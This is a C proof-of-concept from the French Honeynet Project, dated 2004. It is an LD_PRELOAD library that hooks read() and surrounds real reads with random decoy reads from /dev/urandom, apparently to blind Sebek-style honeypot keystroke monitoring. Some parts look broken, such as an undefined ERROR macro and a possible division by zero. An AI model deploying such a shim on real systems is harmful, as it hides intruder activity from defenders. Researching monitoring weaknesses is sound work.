/* 
 * Sepabek proof of concept.
 * 
 * Copyright (C) 2004  Philippe Biondi <phil@secdev.org>
 * French Honeynet Project
 * (sorry Kostya about the weak uninitialised PRNG.. it's just a PoC)
 *
 * This program is free software; you can redistribute it and/or modify it
 * under the terms of the GNU Lesser General Public License as published by
 * the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 */


/*
 * gcc -D_GNU_SOURCE -shared -nostartfiles -fPIC -o sepabek.so sepabek.c -ldl
 */

#include <string.h>
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


char tmp[1024];
int f,g;

static ssize_t (*p_read)(int fd, void *buf, size_t count);
       
ssize_t read(int fd, void *buf, size_t count)
{
	int ret,i,j,mx=sizeof(tmp);
	if (mx > count) mx = count;
	dup2(fd, g);
	dup2(f, fd);
	i = rand()&0xff;
	j = rand()%i;
	for (;i > j; i--) (*p_read)(fd, tmp, mx);
	dup2(g, fd);
	ret = (*p_read)(fd, buf, count);
	dup2(f, fd);
	for (; i > 0; i--) (*p_read)(fd, tmp, mx);
	dup2(g, fd);
	return ret;
}
	

#define LOAD(var, sym) var = dlsym(RTLD_NEXT, sym); \
        if (!var) { ERROR("dlsym(" sym "): %s\n",dlerror); return; }
       

void _init()
{
	f = open("/dev/urandom",O_RDONLY);
	g = dup(f);
  	LOAD(p_read, "read");
}

void _fini()
{
	close(f);
}